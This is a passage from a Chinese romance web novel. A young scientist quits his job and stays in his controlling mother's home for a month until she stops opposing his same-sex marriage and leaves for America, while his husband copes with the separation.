刘海俐有点儿不高兴。 虽然输钱不多,可她输了一下午,多少有些没面子。 但牌场上这些人也都是人精,见她变脸,立刻恭维起她来。 “好事情好事情,破财消灾嘛,海俐姐不是最近正好把那个不听话的儿媳妇赶出去。” “对对,就是!” 说到这个话题刘海俐总算有了好脸,轻哼一声:“你们都知道了?” “可不,杨太太说你拖她给祁教授继续找对象呢。” 刘海俐语气不咸不淡:“是有这回事,我对他现在这个老婆不满意。” 牌桌上众太太附和:“不满意就离,祁教授条件这么好,还能缺男人?” 又说:“是啊,这么多人的孩子里面,就祁教授最有出息。对了海俐姐,我听我家那口子说,祁教授快能评杰青了吧?他是不是咱们国家最年轻的杰青?” “不算。” 刘海俐慢慢悠悠喝了口茶,说:“有人二十九就评了。” 紧接着她语气里便多少带着些情绪:“早让他回国他不听,非留在国外,要是早听我的,哪里还要等得到三十?” 牌桌上众人听到这话一愣。 心里纷纷想您这话可说的真够凡尔赛的。 不过倒也不敢得罪刘海俐,谁让她儿子的确有出息。于是一个个的只能在心里默默吐槽,面上仍是顺着刘海俐。 “这就是祁教授的不对了,怎么不早点回国呢?” “就是,应该听海俐姐您的,不听老人言吃亏在眼前。要是他能早点评杰青,说不定现在都能评院士了!” “唉对了,海俐姐,我忽然想到我侄女今年也到年龄,要不要介绍给祁教授?” “这就有点儿夸张了。” 刘海俐忽略了那个想要把自家侄女嫁给祁钊的牌友,不紧不慢地说:“我对他的要求是四十岁以前评上院士就行。” “祁教授肯定行的。” 那才赢了钱的下家笃定道。 刘海俐一摸牌,挑起眉尾终于得意轻笑:“必须行,也不看是谁的儿子。” 听到这话,牌桌上自然又是一番恭维。 牌桌上给牌友们下了包票,说祁钊三十岁上杰青,四十岁评院士的刘海俐却绝没有想到。 半小时后。 她就在自己的客厅里见到了自己很“上进”的儿子。 祁钊坐在沙发上,坐姿依然板正笔直。他这么多年一向是这个姿势,看书,看文献,做实验。 很多身高超过一米八五的人都有驼背问题。 祁钊却没有。 他从来都是那么挺拔舒展,不管是往那儿一站还是一坐,都能让人第一眼看见。 刘海俐也对儿子这个姿势非常熟悉,因为从小到大,往往她一推开门,祁钊绝对就是以这个姿势坐在自己的书桌前,非常省心,不用她多说一句。 但今天,祁钊仍然是这个姿势,却并没有出现在书桌,或者实验室。 他仅仅是在看电视而已。 刘海俐愣了一下,一时没反应过来:“祁钊,你今天不上班?” 祁钊很淡定的回过头来,看了母亲一眼:“你忘了,我说了我辞职。” 刘海俐呼吸一滞:“你说什么气话!” “不是气话。” 祁钊继续看着眼前的电视剧。 电视剧里。 男女主正在吵架。 吵得撕心裂肺。 女主角哭了,男主角于是再也吵不下去,心疼地抱住女主角。 祁钊目不转睛地看着屏幕中女主角哭泣的脸,抿了下唇,垂着眼:“你不是一直觉得我不孝顺,对不起你?以后我不上班了,住过来。” “……” 沉默了好一会儿,忽然,啪—— 刘海俐关掉电视机。 世界安静下来,同时刘海俐的声音提高了八度:“你故意气我是不是?” 祁钊说:“没有。” 刘海俐气得眼前阵阵发黑。 上回在学校办公室,祁钊告诉她要辞职,她以为祁钊是说气话。因为她再了解祁钊不过,对祁钊来说,没什么比搞他的科研更重要。 当天她生气地回了家。 后来又过了两天。 她发现什么事儿都没有,便以为这件事过去了,依然张罗着给祁钊找对象。 结果祁钊今天就出现在了她眼前,还是在上班时间。 刘海俐有些无法忍受。 尤其是她刚刚才了解到,最近正是杰青评选的关键时机,少一天是一天。 万一真耽误了正事儿怎么办? 可她正气着,转念又想,耽误了工作,谁能比祁钊自己更急? 祁钊这么做,无非就是想护着那个小狐狸精罢了。 想到这里,刘海俐不无嘲讽地看着沙发上坐着的祁钊,冷着脸想,行,你为了一个外人都跟你妈作对了。 那就作对吧。 看谁最后着急。 刘海俐这么想着,扭头头也不回地进了自己的房间。 她并不认为祁钊真的辞职了。 这份工作对祁钊的重要性这世界上没人比刘海俐这个当妈的更了解。 一个从两岁开始就能为了做数学不吃饭的小孩儿。 不可能仅仅因为一个认识不到半年的男人放弃自己的事业。 因而刘海俐笃定祁钊无法跟自己作对坚持超过半天。 所谓辞职也只是恐吓罢了。 刘海俐甚至认为,等她下次推开门的时候,肯定客厅里已经空无一人。 但这一回祁钊恐怕要让她失望了。 晚上。 祁钊在。 第二天凌晨,祁钊依然在。 时间一点一滴的过去,刘海俐的耐心也逐步被耗尽。第二天晚上祁钊的卧室里亮着电脑的微光,刘海俐从门外路过时差点以为祁钊是在偷偷摸摸地看文献。 可当她情绪激动地推门而进—— 祁钊只是在打游戏。 刘海俐不敢相信眼前的一切。 她不懂,为什么,为什么过去三十年都没对游戏感过兴趣的人,忽然有一天就沉迷上游戏了? 一连好几天祁钊都在打游戏。 刘海俐终于忍无可忍,趁他去洗澡的功夫,把他的电脑砸了。 可祁钊从浴室里出来以后,看到一地狼藉却情绪稳定无比,很快拿出手机,又给自己预定一台。 现代社会网购很发达。 没一会儿新电脑已经送上门来。 祁钊就接着打游戏。 第五天的时候。 刘海俐终于处于崩溃边缘。 她快要急疯了,祁钊真的就整整五天都在家里不出门,不去上班也不看文献。 她在外头夸出的海口就快失灵。 这还不算。 从昨天开始,竟然有人微信上试探着问她: “海俐姐,祁教授最近是不是失业了?” 刘海俐看完面色铁青,把那人破口大骂一顿拉黑删除。然而她心知肚明,拉黑删除又在怎么样? 要是祁钊仍旧不去上班。 迟早纸包不住火,全天下都等着看她笑话。 如果只在这些牌友面前丢脸也就算了,刘海俐一想到祁未言跟他的现任妻子也许很快知道这件事,她遍体生寒的同时,猛地一推门,下定决心走到祁钊面前。 “你是真的不打算去上班了,对不对?” 她质问祁钊。 祁钊停下手中的游戏,放下耳机,神态一如既往轻描淡写:“这个问题我不是第一天就回答过?” “好,好……” 刘海俐向后退了几步,眼神犀利地扫过这几天祁钊所居住的房间。 没有书。 没有模型,没有黑板。 什么都没有,只有游戏。 “好好好。” 她连说了五个好字,与此同时,眼里闪过一丝果决狠厉。 她似乎做出了某种非常困难的决定,然而就在她决定出门寻找“工具”的时候。 祁钊叫住了她,很沉静的语气:“妈,你去拿什么东西?” 刘海俐冷着脸:“你还知道我是你妈?” “我一直都知道你是我妈,什么都无法改变。”顿了顿,祁钊道: “但如果你是在找刀片的话,不用了。” 作者有话说: 今天还有一章 第75章 进门的第一天。 祁钊就找到这件房里所有的利器,全部处理。 包括厨房里的菜刀,水果刀,剪刀。 他知道当自己选择跟母亲作对的这一天开始,就迟早会走到这一步,就像十八岁离家出走那一年。 所以祁钊决定未雨绸缪。 当然,祁钊也很清楚,以刘海俐要强的性格,倘若她真的选择了这条路,就算他把全世界的刀都扔了也无济于事。 不能用刀。 还有其他方法。 只要她想,这世上多得是伤害自己拿捏亲人的手段。 但这一次,祁钊决定不妥协。 “没有刀片,也没有水果刀。” 祁钊用寻常的语气说起这句话,与此同时,眼神平静看着自己表情惊愕的母亲。 “我会看着你,阻止你。” “如果真的没办法阻止你的话。” 祁钊话音一顿,从自己的电脑桌后方拿出一个白色的急救箱来:“你知道的,我也懂一点急救手段。” — 祁钊与母亲的拉锯注定漫长且无言。 且在这一过程中,这件事他也没办法同任何人提起,包括自己的父亲,爷爷。 不会有人站在他这一边。 就好像十八岁那年他匆匆忙忙来到医院,所有人用指责的目光看他。 “祁钊,你太不像话了,怎么能这么不懂事,让你妈担心?” “儿子,爸爸知道你委屈,但是……” 但是什么? 祁未言没说得出后续。 因为当祁钊抵达下场以后,很快,几乎是两分钟以内,祁未言接了个电话,便匆匆离开。 跟祁未言一起离开的还有小姨。 所有人都走了。 病房里只剩下祁钊跟自己虚弱的母亲相对无言。 医生说:“情况很凶险,再晚一点抢救就来不及。” 母亲却在清醒以后露出不常见的温柔笑脸:“儿子,没事儿,妈不怪你。” 自然也无法告诉岑康宁。 哪怕知道岑康宁一定会坚定的站在自己这一边。 可祁钊又怎么能让岑康宁承担? 祁钊清醒地认知到,这件事的确是只属于他一个人的责任,这世上没有其他任何人来替他解决。 多年悬而未解的母子矛盾像是沉在湖底的一把生锈的铜锁。 要想把锁打开,就必须先刮掉锁上所有的铜锈,污泥。 这一过程必然是痛苦的。 可再怎么难以忍受的痛苦祁钊也已经经历过了,他现在不害怕痛苦,也不害怕浪费时间。 因为这世界上永远会有发现不完的未知真理。 但唯一仅有一个,宝贵的岑康宁。 — 宝贵的岑康宁正在图书馆出神地刷着手机。 祁钊离职P大的消息很快纸包不住火,当天下午就从生科院里传了出去。 传出去以后很快成为热点。 引起多方讨论。 虽然P大有意控制舆论,不让事情发散,可这年头网络那么发达,P大管得了校内论坛贴吧,又如何管得住悠悠众口? 这不,这几天隔三岔五的。 岑康宁就能刷到相关热帖。 今天一大早又是一个热帖,发帖人早上八点发的帖子,甚至没有指名道姓,到了下午四点已经评论过万。 这个发帖人是纯阴阳怪气。 用拼音缩写骂祁钊这个时候走人不负责任。 骂完还带两个大白眼表情。 但他恐怕没想到的是,这年头大家谁没个小红书?早上帖子刚发出去,中午就被祁钊的学生们搜到,开始实名制在帖子底下抨击。 【乐了,楼主是祁钊学生还是我是?我们一整个课题组都没BB,轮得到楼主替我们打抱不平?不然来看看成果,再看看银行卡余额,到底是谁不负责任了?】 【顶楼上师哥,我就知道一大早我眼皮狂跳没啥好事情,谢邀,人在祁组,正值毕业。我这情况应该没人比我更值得骂街的吧?但我一点儿也不想骂我钊哥,真的,谁让我钊哥直接给我找了个大牛指导文章,顺带把我介绍去MIT做博后呢?你们这些骂人的,回去问问自家没离职的导师,问问谁能做到哪怕一点?】 【默默地排……而且说实话,我发现很多人没意识到一点就是,其实钊哥是一年前才来的我P,我们这些人本来就不是嫡亲弟子,基本都是之前实在在自己组里混不下去,哭着求着钊哥收的。】 【确实,我在上一个组被压榨麻了,感觉这辈子都毕不了业的程度。结果转来钊哥这儿,三言两语给我点拨了个透彻,现在论文已经马上见刊,今年就能毕业。】 【三言两语就点拨了个透彻加一!呜,我嘴笨说不出来这个感觉,但我知道,我这个笨鸟如果没有钊哥指点,这辈子都发不了影响因子上十的文章……说实话我已经对现在的情况千恩万谢了,没想到钊哥临走前,竟然又专门给我一页纸的idea(哭)(哭)】 【哇师姐,原来你也收到了idea指导吗?我也……】 【我也,原来大家都一样,我还收到了一个老师的联系呢,说这段时间的文章跟问题都可以发到他那里。】 【看了楼上的我感觉我跟大家好像都不一样,刚研一啥也不缺,就有点缺钱,正准备去找兼职呢,这两天才忽然发现银行卡忽然多了一笔私人的巨额打款。】 “……” 看到巨额打款这里,终于岑康宁的手指一顿,再也刷不下去。 倒也不是说他刷的生气。 只是越看越觉得这些行为熟悉。 说起给钱—— 他也被给钱了。 而且不仅有钱,还有房子,车子,股票。 祁钊给他的东西多到他以为祁钊婚内出轨了心虚,可岑康宁心里非常明白,且不论祁钊根本没空出轨,哪怕祁钊真的婚内出轨,他也没有任何给自己这么多钱的必要。 再说起临走前的那页纸。 这一点岑康宁倒是没有。 但这人临走前,却已经不动声色的安排好一切。 从每天钟点工阿姨上门的时间,到房间里所有锁所有电器的密码。 那份协议里甚至事无巨细,写着如果什么地方坏了,岑康宁应该打什么电话,找什么人修理。 第一眼看到这份协议的时候岑康宁没有多想。 毕竟祁钊一直以来都是这种风格。 当初结婚协议他也能写十几页,后来还不断地加补充条款。 然而如今看到这些学生们发自肺腑的留言感谢,再想起那厚厚一叠离婚协议,岑康宁的心中五味杂陈。 祁钊正式离职以后的第二天。 胡副馆长曾主动找到岑康宁。 岑康宁原以为他是要找自己说离职的事情。 毕竟他是走配偶安置进的图书馆,如今祁钊走了,按理来说他应该跟祁钊一起被“清退”。 可胡副馆长找到他,先是对他一通赞扬。 紧随其后又话锋一转,让他安心在图书馆好好干。 “小岑同志你放心,祁教授走之前已经安排好了,他的离职并不影响你的工作。” 岑康宁忘记自己当初是什么反应,他想也许他应该跟这些学生们一样感激。 祁钊已经做得够好,够多。 早已超出了他所需要的一切。 可为什么,岑康宁的内心从来不会觉得满足呢? 自打那天祁钊离开。 他的内心变得荒芜一片,变得似乎什么东西都无法填满…… 哪怕他终于想明白祁钊对于自己的意义,他鼓起勇气,买了一束红色玫瑰,想要主动告白。 结果很不凑巧。 遇到了祁钊离职。 那天的兵荒马乱自是不必多提,岑康宁饶是记性好,也似乎忘了许许多多的细节。 唯独只记得最后,一个学生抹着泪问祁钊: “钊哥,那……你还回来吗?” 祁钊说:“百分之九十五点七的概率。” 学生们瞬间欢呼雀跃。 因为百分之九十五点七,真的是一个很高的几率。 无论在什么样的情况下都意味着很大可能。 但祁钊不愧是祁钊,他看向学生,也看向人群中一直默不作声的岑康宁,嗓音微哑: “但仍有百分之四点三,我无法保证。” 岑康宁听到自己心脏咯噔一声响。 的确,这世界上怎么会有百分之百的保证呢?哪怕是祁钊,也没办法做出这样的保证。 尤其是,随着日子一天天的过去。 岑康宁的心里愈发荒芜,如今已经长满杂草,也让他不由得很想问一句: “真的只有百分之四点三吗?” 打开手机。 没有人能够回答他这个问题。 微信里热闹了一阵子,然后在岑康宁的敷衍中又逐渐变得宁静。 今天一整个下午。 竟然只有游戏群里有人找岑康宁。 那人是个新号,不久前忘记什么原因买了号进入他们工会,会长说看他ID挺有缘的,要不你没事儿带带他。 岑康宁没什么拒绝的理由就答应了。 后来这人也不怎么上线。 直到最近不知道什么原因,这人上线的时间变得频繁起来,每天到了下班时间都会约他打游戏。 今天也是一样。 还没到下班时间,提前就预约。 岑康宁这两天正是心情烦躁,希望用游戏麻痹自己的时候,根本不想拒绝,甚至还把上线时间主动提早了一小时。 爱摆烂的鱼:“@会捕猎的猫,不用六点半,五点半我就上线。” 会捕猎的猫却立刻不赞同地私聊他:“不吃饭?” 岑康宁觉得很莫名奇怪,我们只是网友,你管我吃饭干什么? “不吃啊,怎么?” “不吃晚饭不好。” 会捕猎的猫一边打字,一边给岑康宁发来一长串不吃晚饭的害处。 结果岑康宁看也不看:“所以你玩不玩?不玩我找别人了。” 会捕猎的猫:“好吧……” 岑康宁没想太多:“行,那就说好了,五点半上线,可能还会更早一点儿,到时候我提前戳你。” 会捕猎的猫:“好。” 两人就这么约好了上线时间。 约完后岑康宁正好下班,交接完工作后径直便往家赶。 可心烦意乱了一整天,本想直接冲进次卧开始游戏的岑康宁却在公寓门口意外遇到公寓管家上来送外卖。 “小岑老师,您的外卖。” 岑康宁皱起眉心:“我没点外卖。” 管家却很笃定:“就是您的没错,是您常点的几家。” 说着管家把手中的外卖递给岑康宁,岑康宁一开始没接,只满腹狐疑低头看了眼。 但很快他接过来打开仔细一看: 醉李记。 麦当劳。 舒先生。 确实都是他平时喜欢的几家没错,但…… 红烧肉加拌黄瓜,清炒莴苣。 麦麦脆汁鸡配可乐配玉米粒、苹果片。 到底是谁那么神经会点麦当劳家六块五一份的切苹果,他可真是一点儿猜不出来呢。 作者有话说: [三花猫头]加更一章,下章问题就能解决啦。 第76章 五点半一到。 岑康宁准时游戏上线。 对此他个人到不感到有什么意外,毕竟岑康宁从来都是一个信守承诺的人。 然而会捕猎的猫却感到有些吃惊。 “现在?” “别废话快来打游戏。” 岑康宁一边恶狠狠地嚼着苹果片一边打字:“刚死老公,最近心情很差。” 会捕猎的猫:“……” 许是生怕触怒了刚死老公的岑康宁,会捕猎的猫这晚的游戏副本表现格外兢兢业业。 岑康宁要奶就给奶,要输出就有输出。 最后副本结束开箱子,会捕猎的猫还把里头几个极品道具全给了岑康宁。 岑康宁不是很喜欢欠人情的性格,哪怕在游戏里也是一样。 可他刚要打字拒绝。 会捕猎的猫就给他发消息: “你拿着吧,毕竟……老公刚死。” 岑康宁:“哦。” 说的也对,那他却之不恭。 — 煎熬的时间因为有了游戏仿佛变得不那么煎熬,哪怕只是简短的几个小时内的忘却一切。 岑康宁如是。 祁钊亦如是。 日子就那么一天天过去,这期间有过晴天,也有过下雨。 但无论下雨晴天。 唯一不变的是每天下午准时送到岑康宁手里的外卖,以及一颗糖。 是的,岑康宁也是最近才发现。 原来祁钊每天的外卖里都会额外加一颗糖。 有时是大白兔,有时是水果硬糖,有时又是一个巧克力。 这样每天都会有一颗糖的日子难免让岑康宁怀念起在医院的那些曾经。 岁月无情。 他早就不是当初那个用一颗糖就能哄得很开心的十七岁少年。 Mr.mysterious的声音他都快要记不清了。 但五年后依然不变的是,他在看到那些糖时,眉眼间那怎么遮也遮不住的喜悦。 — 自然,这段时间感到煎熬的不止岑康宁。 刘海俐只会远远比他更为煎熬。 很难形容每天刘海俐起床后睁开眼,立刻就能在客厅里看到祁钊的感受。 也许对一般的父母来说。 这一幕也许无比的温馨。 可刘海俐想到祁钊今天仍没有去上班,心中只有控制不住的愤怒,与恐惧。 这些日子以来。 刘海俐当然也想过办法赶走祁钊。 那天被祁钊打断,她后来的确没有生过再次以死相逼的打算。 但这不意味着刘海俐会选择妥协。 刘海俐从来都是一个要强的女人,这辈子妥协两个字都没出现过在她的人生里。 用她父亲的话说:“这辈子死她都是站着死的,死犟。” 祁钊要跟她作对。 可以。 她就当儿子是迟来的青春叛逆期。 对付青春叛逆期的办法最好的办法就是冷处理。所以刘海俐一开始耐下性子,等着祁钊自己着急。 但很可惜的是。 本来总是屡试不爽的一招,这一次却失败了。 祁钊似乎是真的一点儿也不着急。 在刘海俐家里的这几天,祁钊每天做饭,打扫卫生,打游戏,完全没有半点儿对自己即将毁灭的事业的担忧。 似乎真的以后就打算成为这样一个闲散人士了。 反倒是刘海俐,看着日历一天天翻过去,心中的火焰越烧越旺。 她急得嘴角冒泡。 显然是上火了。 而对此祁钊的反应只是给她泡了杯下火茶,其余的一个字都没多说。 在这场沉默的对抗中。 刘海俐终于率先败下阵来。 第十天她气不过,发火把祁钊的所有东西全部扔了出去,又改了房门的密码跟锁,以为这样就可以眼不见为净。 可第十一天。 祁钊依旧出现。 “你怎么进来的?我不是换了锁?物业呢,我要投诉他们!” 刘海俐瞬间火冒三丈。 而祁钊坐在沙发上云淡风轻:“你忘了,我是你儿子。” 正如每次刘海俐都能够轻而易举的出现在祁钊家中,因为母子关系无法割裂。 那么对祁钊来说,亦是如此。 无论国内国外。 家事似乎永远是最难处理的问题。 也因此不管是物业也好,学校的负责人也罢,似乎只要刘海俐拿出她跟祁钊的关系证明,最后那些人都会因为一句“她是你妈”而选择放行。 但刘海俐却忘了。 她能用,祁钊自然也能使用这个方法。 这二者是互动的道理。 所以理论上无论刘海俐赶自己多少次,换多少把锁,祁钊都有办法重新回到这个沙发上。 刘海俐于是再度败下阵来。 紧随其后的第十五天,刘海俐又选择了第二种办法,装晕,进医院。 其实说全然是装也不尽然。 刘海俐的确感觉到自打祁钊过来以后,她的身体在每况愈下。 短短十五天,她瘦了好几斤,整个人也像是被抽干了一样,毫无精气神可言。 现在刘海俐不喜欢出门了。 连平时里最喜欢的麻将局也不去。 因为她现在打麻将的话,祁钊会跟着她。 意识到这一点后刘海俐如临大敌,几乎是刚出门就往回走,因为她根本难以想象祁钊出现在麻将桌上,那些往日里恭维她的太太会露出怎样的表情。 虽然私下里已经有各种流言蜚语传得满世界都是。 祁钊从P大离开的消息从来不是秘密,后来刘海俐才意识到,事发的第二天,祁未言就得知了消息。 但当时刘海俐不以为意。 她觉得祁钊只是跟她玩儿心眼,过不了几天就会自己回去。 但过了几天,又过了几天。逐渐地,不止祁未言,更多的人开始跟她打探消息。 她一开始和颜悦色的回复: “不是离职,只是暂时休息。” 后来问的人越来越多,她变得恼火:“问什么?我儿子去哪里上班跟你有什么关系?” 那远方亲戚哂笑一声,在电话里装模作样:“哎呀,我就是关心关心小钊,没别的意思。对了,海俐姐,你上回不是要我帮忙给小钊重新介绍对象吗?我这边儿有了合适的人选,也是一个二婚的……” 啪—— 刘海俐当时就摔了手机。 人走茶凉这四个字这段时间在她身上真是显示了个淋漓尽致,甚至,祁钊人没走,只是短短一段时间没去学校。 他的能力还在。 职称也在。 这些人竟然就已经敢对她这么冒犯? 刘海俐不敢想象祁钊要是真彻底远离了学术圈,那些人会怎么看待自己。 一想到这一幕也许会出现。 刘海俐眼前一片昏黑,仿佛再也看不到光亮一般。 于是在医院,她也就这么描述着自己的病情。 但医生反复看了她的检查单,说:“没什么病啊,身体很好。” 刘海俐当时就不乐意了:“不可能,你再好好看看。” 医生也瞬间表情一变:“阿姨,您是在质疑我的专业程度吗?” 刘海俐冷着脸嘲讽:“谁知道呢?这年头庸医越来越多了。” 医生:“……那行,您这个病患我接不了了,您看要不换个医院,或者出门左转去投诉我吧。” 在刘海俐跟医生撕扯起来以前。 祁钊拉着她出了医院。 从医院回家的路上,刘海俐终于崩溃。 “祁钊,你真的要气死我是不是?” 祁钊准备开车,对她的问题不置可否,只说:“安全带系好。” 刘海俐忽然尖声:“我还系什么安全带,儿子没出息为了个男人跟我闹成这样,我看我干脆死了算了!” 祁钊等了一会儿始终不见刘海俐系安全带,便也始终没发动车子。 “我说过,别用这个威胁我。” 他目视前方,淡然地道。 刘海俐现在最讨厌祁钊这个淡定的表情,因为只要一看到这个表情,她就想起祁钊坐在客厅里看电视的样子。 她刘海俐的儿子。 怎么能安安心心坐在家里看电视呢? “谁威胁你了?你不信是不是?我告诉你祁钊,要是你今天再不回学校,我们母子俩今天就一起死在这里算了!反正活着也是丢脸。” 刘海俐说着要去动祁钊面前的方向盘,似乎真的要跟祁钊鱼死网破的打算。 但祁钊只用一句话,就打断了她的动作。 “刚刚袁敏杰发朋友圈了。” 刘海俐浑身一僵,听到这个恨之入骨的名字后终于无法坐视不理,“她发什么了?你有她微信?” 祁钊转头看着母亲,很残忍地告诉她:“袁敏杰说,女儿的智商测试很出色,开学后打算直接上三年级。” “……” 刘海俐彻底僵在了原地。 袁敏杰是祁未言的第三任妻子。 她的女儿就是祁柔,也就是那个才刚刚六岁的小女孩。 一直以来,刘海俐在袁敏杰面前都是高高在上的态度,首先自然是,她是原配,袁敏杰顶多算是个小妾。 有孩子又怎么样? 是个小丫头片子,而且肯定不如自己儿子厉害,聪明。 一直以来,刘海俐都是活在这样的优越感中。 她这个人从小到大要强惯了。 在学校的时候要当第一名,后来长大了要嫁最出色的男人,后来又有了孩子,她理所当然要求自己的孩子也最拔尖。 但其实她学习能力并不好。 从来都没拿过第一名。 后来倒是咬着牙很努力地嫁给了祁未言,成了祁家的儿媳。但好景不长,孩子还没出生,祁未言已经想跟她离婚。 好在还有个祁钊。 她的亲儿子一向很争气。 两岁的时候专家就断定这孩子的智商不一般,后来果然成了跳了很多级的天才。 就连祁耿这个不沾家的人也很看重祁钊。 每次见了祁钊都说,这小孩儿以后绝对有大出息。 刘海俐于是辞了工作,专心在家教养孩子,祁钊逐渐成了她失败人生的唯一闪光点。 六岁的时候祁钊小学已经毕业。 离婚法庭上选了刘海俐。 没有人为刘海俐失败的婚姻感到可惜,大家都纷纷跑来恭喜她,问她下一步打算送儿子去哪个初中上学? 刘海俐告诉所有人,她要在接下来的三年里在顶级中学给儿子陪读。 所有人看她的表情艳羡又妒忌。 没有男人又怎么样? 有一个出色的孩子,不比变了心的男人更强? 况且刘海俐始终以为,祁钊超过祁未言是迟早的事情。 后来祁未言二婚。 很多人又想跑来看她的笑话。 但那一年祁钊16岁,被世界名校斯坦福破格录取,还是跟祁耿专业息息相关的生科院。 成年人的世界,光明的前途理所当然盖过了失败的婚姻。 那一年刘海俐收到的依然只有恭喜。 而从祁钊入学斯坦福以后,慢慢地,许多从前那些不跟她打交道的人也跑过来跟她凑近乎。 “海俐,我女儿也想去留学,你帮帮忙,让祁钊帮忙给她找找导师推荐吧。” “姐,我这个项目需要个专业人士帮忙看看,小钊有没有时间?” 就连祁未言二婚对象带来的那个拖油瓶。 也一直绕着祁钊转,为此不惜讨好刘海俐。 刘海俐逐渐习惯了这样的生活,习惯了周围人的恭维与艳羡,且随着祁钊的毕业,愈加的享受其中。 但她却从来没想过有一天。 祁钊要她在这样的生活跟接受一个儿媳之间做出选择。 要是告诉半个月前的刘海俐,刘海俐绝对无法想象她会选择后者。 因为在她看来,祁钊的婚姻得听她的,就跟祁钊生日是哪一天要听她的一样。 她是生了祁钊,养了祁钊的亲妈,为祁钊付出了一辈子。 祁钊娶男人。 凭什么不听她的? 但此时此刻,这一切因为一句话,分崩离析。 袁敏杰的朋友圈像一个抽真空机器一样,倏地一下子,把刘海俐抽瘪了。 后来回家的路上她一言不发。 直到车停下。 她眼神疲惫不堪地看向祁钊,扶住额头,做出了自己的最终决定。 “算了,你想跟谁在一起,就在一起吧。” 她说:“我以后不管你了,还不行吗?” 坐在驾驶座上的祁钊一言不发。 刘海俐便接着唉声叹气道:“以后你就知道,妈才是真的为你好,你才三十岁你不懂,儿女情长这些事根本不重要,重要的是……” “不行。” 祁钊打断了刘海俐的教育。 很果断地。 刘海俐整个人一怔,随后缓缓地皱起了眉心,露出不满的表情:“你说什么不行?” “只是不离婚不行。” 祁钊道。 “……” “我还要你以后都不出现在我的工作场合,要你永远不会不打招呼就来我公寓,要九月十四号过生日,过生日再也不吃长寿面,要你发誓绝不会联系岑康宁。” “你疯了?” 刘海俐浑身的血液似乎都开始逆流。 祁钊这话跟与她割断母子关系有什么区别? 祁钊看上去依旧冷静,但那张与祁未言生来便有几分相似的脸,终于在多年后跟那天下午提离婚的人影重合在一起: “这是我的条件,你可以选择同意,或者不同意。” 声音冷酷地像是从冰堆里刚挖出来一样。 把刘海俐冻得浑身颤抖。 她绷紧着嘴唇,用尽了全身的力气才能没让自己打祁钊一巴掌: “如果我说不同意会怎么样?” 祁钊没有正面回答刘海俐,只是用自己的行动日复一日的证明着自己的决心。 母子二人的对峙一直延续到祁钊辞职后的第三十天。 整整一个月过去。 一个月后的第二天,祁钊依然雷打不动出现在客厅,没有回到学校。 而此时距离国家杰出青年科学基金最终结果公布仅剩下不到十五天。 那天中午,刘海俐默默地委托在美国的妹妹,帮自己买了一张最快飞美国的机票。 …… 那天机场是祁钊送刘海俐去的。 行李箱也是祁钊帮忙整理托运。 其实这段时间以来,除了不去上班,祁钊算是一个非常孝顺的儿子。 他虽然主要目的是要让刘海俐松口妥协。 但实际上也没妨碍着在生活上照顾刘海俐。 身为人子。 他在许多方面做得其实很好。 比如说刘海俐的一日三餐,他会按时根据刘海俐的身体情况准备,刘海俐缺钙,他就每天加牛奶,刘海俐年纪大了有点老花眼,他查询了许多资料,给刘海俐配了很合适的老花镜。 又比如说刘海俐的衣服有些需要干洗,他也会分门别类的整理好再送到钟点工手上。 甚至这一个月里有一天。 他还定了一个红宝石戒指送给刘海俐。 哪怕刘海俐完全没心情带,直接把戒指砸了,他也没说一个不字。 假如刘海俐不是太想控制祁钊的一切。 其实,祁钊真的是一个非常完美的儿子。 优秀,孝顺。 但可惜,这世界上没有假如,三十年的习惯养成到现在,不是一朝一夕能够改得了的。 所以哪怕是在上飞机前的最后一刻,刘海俐仍然还是没忍住不死心地盯着祁钊,质问他:“他到底好在哪里,值得你这么对你亲妈?” 机场上人来人往。 时不时有人送别。 祁钊彼时拿着刘海俐的行李箱,视线正不自觉落在其中一对儿正在送别的夫妻身上。 丈夫要去出差。 妻子来送别。 表面上看,妻子巴不得丈夫早点走,但实际上丈夫真走了,妻子站在原地眼眶红着丈夫的背影,很久都不舍得离去。 见到这一幕。 祁钊紧绷了一整个月的唇角终于有了一丝微微向上的趋势。 他低头,很轻地笑了: “哪里都很好。” 善良,温柔,勇敢,漂亮。 这世界上所有关于美好的形容词都可以用来形容他的小行星。 所以当刘海俐用恶毒的言辞来揣测、攻击岑康宁的时候,才会有如一记重锤将祁钊从过去三十年以爱为名的牢笼中彻底敲醒。 岑康宁这么好。 如果母亲是真的为他好,爱他,为什么要将岑康宁从自己身边夺走? 他也终于意识到一个事实,也许母亲从来都不爱自己,一点儿也不。 比起真实的,活着的祁钊。 刘海俐爱的从来都是那个能够给她带来吹捧与虚荣的“院士母亲”,也是那个祁钊不得不妥协的“瞬间”。 那些瞬间是被迫吃下去的红烧肉、长寿面,也是他的离婚协议,下一场相亲。 既然如此。 也让刘海俐做出选择就好了。 在拥有一个成功的儿子,跟她过分膨胀的控制欲之间做出选择。 这个选择必然会做的很艰难。 但祁钊清醒地知道,她有百分之九十五点七的概率,会选择前者。 而现在这个概率终于在漫长的一个月后尘埃落定。 变成百分之百。 巨大的发动机轰鸣声中。 祁钊看了眼手表: “该走了。” 刘海俐在原地沉默许久,几度欲言又止。 但最终她什么也没说,独自登上了前往美国的飞机。 航站楼窗外,波音777在载客结束后不多时开始加速滑行,挥展巨大的机翼,不断抬升,云层中转瞬消失不见。 作者有话说: 下章见面[粉心][粉心][粉心] 第77章 祁钊没有第一时间离开机场。 他亦是买了一张共同前往美国的相同航班机票,但仅仅站在登机口,目送刘海俐的身影消失在自己的视野里。 十月午后的阳光灼热耀眼。 照的人几乎睁不开眼。 祁钊站在正对着阳光的方向,隔着登机口的玻璃,目视着太阳,站了许久都没离开。 直到广播里传来飞机正式起飞的消息。 他方恍然回过神,像是从一场漫长的,沉重的梦境中终于苏醒过来一般,蓦地,感到浑身松懈下来。 也是这时他才意识到。 原来这一个月,他无论是身体还是精神都处于极度的紧绷状态,就像是一张被拉满的弓弦。 直到那把箭终于被射了出去。 弓弦也终于得以松懈。 但令人意想不到的是,方才松懈下来的弓弦却不到一秒,立刻被重新绷紧—— 因为岑康宁。 对于这漫长的一个月时间。 其实祁钊有想过自己面临的种种困难。 首先自然是对祁钊来说,要让他放下手头上的实验跟文章是非常不可想象的一件事。 而这一个月里。 祁钊不仅不可以做实验,写文章,甚至连文献都无法阅读。 也就是说,整整744个小时,祁钊彻底被排除在最新的科研最前沿。 本就不充裕的时间因此而变得更加捉襟见肘。 祁钊完全可以想象的到后续他该用多少时间跟精力来弥补这个月。 甚至可能这辈子。 距离他的终极目标,都差这一个月。 但祁钊却唯独没有想到的是,当这一个月真正开启,困扰着自己,占据着自己心神的,却完全不是实验室里的那堆样品,数据,而是岑康宁。 